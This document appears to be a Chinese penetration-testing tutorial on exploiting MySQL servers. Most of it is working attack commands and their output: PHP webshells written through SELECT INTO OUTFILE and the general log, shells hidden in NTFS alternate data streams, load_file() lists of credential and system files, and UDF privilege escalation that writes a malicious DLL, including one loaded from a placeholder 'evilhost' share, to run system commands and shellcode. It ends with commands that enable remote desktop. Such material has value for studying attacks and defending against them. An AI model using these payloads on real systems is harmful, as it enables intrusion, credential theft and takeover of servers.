Mysql 在渗透测试中的利用
- 1. 一、渗透中可利用的 mysql 的点
- 2. 三、MYSQL UDF 提权
- 3. 参考
一、渗透中可利用的 mysql 的点
1.写 webshell
1.select into outfile(要有 root 权限)
这个利用方式必须要是 root 登录权限,使用 select xxx ito outfile xxx 的形式,这个语句原来是用于快速导出某个表中的数据,或者整个表的,现在我们将我们的n 查询语句导出为 PHP 文件到 web 目录下
Select '<?php eval($_POST[cmd])?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\123123.php';
但是使用这个语句的时候可能会出现几个问题:
(1)权限不够,我刚刚说过了,这个语句的使用必须是 root 权限,如果你非要尝试那只能得到下面的结果:
Access denied for user 'test'@'localhost' (using password: YES)
(2)受到 secure_file_priv 的限制,这个参数可以使用 mysql 命令行查询,查询语句如下:
show variables like '%secure%';
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
补充:
这个命令本身就是导出表的,我们创建表当然可以
CREATE TABLE `mysql`.`K0rz3n` (`K0rz3n1` TEXT NOT NULL );
INSERT INTO `mysql`.`K0rz3n` (`K0rz3n1` ) VALUES ('<?php @eval($_POST
[pass]);?>');
SELECT `K0rz3n1` FROM `K0rz3n` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `K0rz3n`;
2.使用 general_log 写 shell(需要 sql root 权限)
上面说了,直接导出数据容易受到 secure_file_priv 的限制,那么这个时候怎么办?这种情况下可以通过general_log和general_log_file来获取webshell
mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。
我们先来看一下我的默认的配置
mysql> show variables like "%general%";
+------------------+--------------------------------------------------------+
| Variable_name | Value |
+------------------+--------------------------------------------------------+
| general_log | OFF |
| general_log_file | E:\phpstudy\PHPTutorial\MySQL\data\DESKTOP-S2L4C24.log |
+------------------+--------------------------------------------------------+
2 rows in set (0.00 sec)
可以看到,general_log 的确默认是关闭的,文件的位置是 一个明确的日志文件,不过没关系我们是 root 权限的话,这些不都是在我们的掌控之中?
改一波,走你!
set global general_log='on';
SET global general_log_file='E:/phpstudy/PHPTutorial/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
再看一下配置:
mysql> show variables like "%general%";
+------------------+-------------------------------------+
| Variable_name | Value |
+------------------+-------------------------------------+
| general_log | ON |
| general_log_file | E:/phpstudy/PHPTutorial/WWW/cmd.php |
+------------------+-------------------------------------+
2 rows in set (0.00 sec)
再看一下 cmd.php 是不是真的存在
如图所示:
接下来我们愉快的访问就行了
3.使用 echo 命令直接写 shell(基于UDF 提权)
这种情况是在能执行系统命令的时候采用的
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
win 下面能直接这样写,其中 ^ 的是为了转义 < 字符
这个命令能在 UDF 提权以后成功执行,创建 webshell
4.隐藏webshell(配合 echo 写 shell)
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。
5.将一句话作为数据表的字段(配合文件包含)
如果我们有创建表的权限,我们完全可以将表的某个字段写成一个一句话,然后我们找到这个表对应的文件包含之
如图所示:
我们知道数据库的一起都是以文件的形式存在的,我们来找一下这个文件
如图所示:
6.一些补充:
Test.php 文件内容为 <?php phpinfo();?>
Test.php:a.jpg 会生成Test.php 文件内容为空
Test.php::$DATA 生成test.php 文件内容为<?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg 文件内容为<?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg 文件内容为<?php phpinfo();?>
2.直接查询用户的密码
这方法同样需要 root 权限
select user,password from mysql.user;
然后你会看到一堆乱七八糟的字符,下面说一下 mysql 对密码的加密方式
password_str = concat(‘*’, sha1(unhex(sha1(password))))
3.load_file()使用注意:
load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制
select load_file("文件路径");
(1)win 下常见的敏感文件:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
(2)Linux 下常见的敏感文件
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
4.查看哪些账号哪些主机能够连接
前提是有 root 账号,能查询 mysql.user 表
select * from mysql.user;
这其中有一个 host 字段能显示,该账号允许的登录地址,如果是 127.0.0.1 就是只允许本机登录,如果出现了 192.168.1.%,表明整个C段的主机使用该账号登录
5.查看当前账号的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;
这个为什么我要拿出来说一下,虽然感觉和上面的是一样的,但是这里用到了 substrijng_index 这个函数,没有输入当前账号的名称,可能在某些情况能利用它绕过一些东西,于是就记录一下
6.查看 Mysql 结构 和 操作系统的结构
我们可以使用全局变量的方式查看这些信息
下面命令向我们展示了MySQL结构,操作系统的结构
mysql> select @@version_compile_os,@@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32 | AMD64 |
+----------------------+---------------------------+
1 row in set (0.00 sec)
或者
mysql> show variables like '%compile%';\
+-------------------------+-------+
| Variable_name | Value |
+-------------------------+-------+
| version_compile_machine | AMD64 |
| version_compile_os | Win32 |
+-------------------------+-------+
2 rows in set (0.00 sec)
7.into outfile 和 into dunmpfile 的区别
这两个操作在 渗透测试中的作用不可小觑,不要以为长得差不多,他们的功能是有侧重的
into outfile 主要的目的是导出 文本文件,我们在渗透过程中是用来写 shell 的
into dumpfile 的主要目的是导出二进制文件,在后面我们讲到 UDF 提权的过程中会经常用到这个函数生成我们的 udf.dll
8.查看 MySQL 的安装路径
mysql> select @@basedir;
+-------------------------+
| @@basedir |
+-------------------------+
| E:\mysql-5.6.41-winx64\ |
+-------------------------+
1 row in set (0.00 sec)
mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value |
+---------------+------------------------------------+
| plugin_dir | E:\mysql-5.6.41-winx64\lib\plugin\ |
+---------------+------------------------------------+
1 row in set (0.00 sec)
9.MYSQL 数据库user表
这个表里面藏着很多的好东西,和这个表有关的一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解
10.怎么找 Mysql 的账号密码
方法一:翻配置文件
我们知道,如果是网站的项目,就一定会有和数据库的链接配置文件,我们可以从这个文件中找到连接数据库的账号密码,如果控制的不好就是 root 权限,很有利于我们的提权
1.dedecms数据库安装的信息就是写在data/common.inc.php
2.Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php
3.对于java会在/WEB-INF/config/config.properties中配置
一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。
方法二:找历史记录
除了在文件中找以外,如果是 linux 系统,我们可以查看系统的历史命令,查看 ./root/.mysql_history、./root/.bash_history文件找mysql操作涉及的密码
对于 低版本的 MYSQL(5.1) 一下的,对用户名和密码的传输是不加密的,我们可以找到 binary log 文件找密码
三、MYSQL UDF 提权
1.什么是 UDF
那么什么是 UDF ? 全称是 User defined function(用户自定义函数),一听这个名字就知道我的基础权限要求还是很高的,要求数据库 root 权限
当我们有读取和写入权限以后,我们就可以尝试使用 udf 提权的方法,从数据库的 root 权限提升到 系统的管理员权限
2.放在哪里
因为叫 UDF 于是我们能编写自己的 DLL 然后让 mysql 调用,实现我们自定义的命令
从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,可以使用‘@@plugin_dir’全局变量找到它。这个变量可以在mysql.ini文件中看到和编辑。
mysql> select @@plugin_dir;
+-------------------------------------------+
| @@plugin_dir |
+-------------------------------------------+
| E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+-------------------------------------------+
mysql> show variables like 'plugin%';
+---------------+-------------------------------------------+
| Variable_name | Value |
+---------------+-------------------------------------------+
| plugin_dir | E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-------------------------------------------+
1 row in set (0.00 sec)
从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。
3.怎么放进去
udf.dll 在哪
MSF 给我们提供了现成的 udf.dll ,位置在
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
方法一:远程加载
load_file() 函数支持远程加载,然后我们配合 dumpfile 实现写入
select load_file('\\\\evilhost\evil.dll') into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"
但是这里面有一个限制就是在lib 目录下一定要存在 plugin 目录,否则这个不能执行成功,会报一个错误,如下
#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin\udf.dll' (Errcode: 2)
方法二:HEX 写入
在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了,我以64位的为例
select hex(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.hex";
生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令
select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
注意:
我们导出的 hex 格式前面是没有 0x 的,这个需要自己添加
方法三:分段写入数据表中,然后 select 那个字段
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dump file "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
方法四:利用函数 to_base64 和 from_base64
从 MySQL 5.6.1 和 MariaDB 10.0.5 开始,我们就能使用 to_base64 和 from_base64 来进行编码了
select to_base64(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.b64"
然后我们使用 from_base64 解码并结合 into dumpfile 写入 dll
select from_base64("base64 的内容,因为太长了就不贴了")
into dumpfile “E:\mysql-5.6.41-winx64\lib\plugin\udf64.dll”;
4.怎么利用这个 dll
我们要利用这个 dll 来安装我们写在 dll 中的函数,那我们需要看一下写这个 dll 的大佬给我们提供了哪些函数吧(于是翻出之前分析后门的工具,没想到还能在这里排上用场)
如图所示:
1.sys_exec()
当然是用频率最高的还是 sys_exec ,这个函数能让我们轻松地执行系统命令
让我们开始加载这函数吧
create function sys_exec RETURNS int soname 'udf.dll'
我们查看一下
mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
好了,我们能愉快的执行命令了
select sys_exec('whoami')
运行结果:
mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.28 sec)
运行后你会快速看到命令执行的黑色框弹出,然后转瞬即逝,表明命令成功执行(要是能回显就好了~~~)
使用完了别忘了把函数删了
drop function sys_exec;
这个时候再看
mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)
2.sys_evel()
该功能将执行系统命令并在屏幕上通过标准输出显示,什么?真的可以?梦想就要成真了,我们来试试
create function sys_eval returns string soname 'udf.dll';
我们看一下:
mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_eval | 0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
执行:
mysql> select sys_eval('whoami');
+------------------------+
| sys_eval('whoami') |
+------------------------+
| desktop-s2l4c24\k0rz3n |
+------------------------+
1 row in set (0.27 sec)
太完美了!
删除函数:
drop function sys_eval;
3.sys_get()
该函数返回系统变量的值
注册函数
create function sys_get returns string soname 'udf.dll';
查看:
mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name | ret | dl | type |
+---------+-----+---------+----------+
| sys_get | 0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)
使用:
select sys_get('longonserver');
结果:
mysql> Select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC') |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)
删除:
drop function sys_get;
4.执行Shellcode - sys_bineval
这个函数应该功能更强大,能直接执行 shellcode/任何二进制文件 ,我们把 shellcode/ 任意二进制文件 编码为 hex 或者 base64 ,然后在解码一下传递给他就行了
注册函数:
create function sys_bineval returns int soname 'udf.dll';
查看一下:
mysql> select * from mysql.func where name = "sys_bineval";
+-------------+-----+---------+----------+
| name | ret | dl | type |
+-------------+-----+---------+----------+
| sys_bineval | 2 | udf.dll | function |
+-------------+-----+---------+----------+
1 row in set (0.00 sec)
我们先把我们要运行的二进制文件编码成 base64 形式
select to_base64(load_file('E:\\calc.exe')) into outfile "E:\\calc.b64"
使用:
select sys_bineval(from_base64(load_file('E:\\calc.b64')));
但是这个方法有些不稳定,我第一次尝试的时候 mysql 直接挂了,开都开不起来了,hhh,原作者也说了这个方法似乎不适用于 64位平台,但是在 32 位平台能正常工作
删除函数
drop function sys_bineval;
5.补充一些 trick
1.导出文件名的问题
导出的文件名不一定要是 xxx.dll ,我们可以任意命名,这个后缀名对创建函数没有任何影响
mysql> create function sys_exec returns string soname 'udf.exp';
Query OK, 0 rows affected (0.01 sec)
2.不存在plugin 目录的问题
这个问题相当的棘手啊,mysql 5.1 以后我们必须将我们的 udf.dll 弄到我们的亲爱的 pplugin 目录下,但是要是偏偏没有这个目录怎么办?
kingcope提到了一种方法,利用NTFS ADS流来创建文件夹的方法,这个方法我们经常称之为 NTFS 隐写,可以用来写后门甚至 getshell
1.什么是 NTFS 的 ADS
在NTFS文件系统中存在着NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流,正因为这个特性,通常 ADS也被用于一些恶意文件隐藏自身,作为后门。
为了避免跑题,我这里就不讲解 NTFS ADS 的其他用途,我们就来看一下怎么创建文件夹
2.怎么在只能导出文件的情况下导出一个文件夹
我们创建一个空的名为 TEST 的文件夹
如图所示:
然后我们执行下面这条命令
echo xxx > test::$INDEX_ALLOCATION
结果如图所示:
我们清楚地看到本来是创建文件的命令在 ::$INDEX_ALLOCATION 的作用下创建成了一个文件夹(这个应该是一个漏洞,微软在最近的漏洞补丁中生成要修复这个漏洞,并且有了CVE 编号 CVE-2018-1036/NTFS EOP,不过我目前本地测试应该没有收到影响)
2.试一下使用 mysql 导出文件的方法能不能成功
首先看一下我本地的 xxx/mysql/lib/ 下面没有 plugin 文件夹
如图所示:
执行文件导出命令:
select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
结果:
#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13 - Permission denied)
失败了。。。。,心情复杂,具体原因我也不是很清楚,因为我创建普通文件的时候是可以的,如果有师傅尝试成功还望不吝赐教
3.能执行命令以后我们能做更多
(1)先看一下 3389 开没开:
netstat -an |find "3389"
######(2)Windows 2008Server命令行开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
参考
https://www.cnblogs.com/zydj333/p/6951002.html
http://blog.51cto.com/simeon/1926022
http://www.mottoin.com/article/web/96772.html
https://blog.csdn.net/m0_37438418/article/details/80289025?utm_source=blogxgwz7
https://xz.aliyun.com/t/2167?accounttraceid=85dbd2c9-8021-4125-bf50-c7be4b510695
http://www.freebuf.com/articles/system/163144.html
http://www.freebuf.com/articles/3853.html
https://www.i0day.com/733.html
https://xz.aliyun.com/t/2167?accounttraceid=85dbd2c9-8021-4125-bf50-c7be4b510695
https://www.cnblogs.com/Chesky/p/ALTERNATE_DATA_STREAMS.html
https://www.jianshu.com/p/bd18b92c1224
https://www.i0day.com/733.html
https://www.freebuf.com/column/143125.html
https://www.cnblogs.com/qing123/p/6608141.html
https://www.cnblogs.com/qing123/p/6771858.html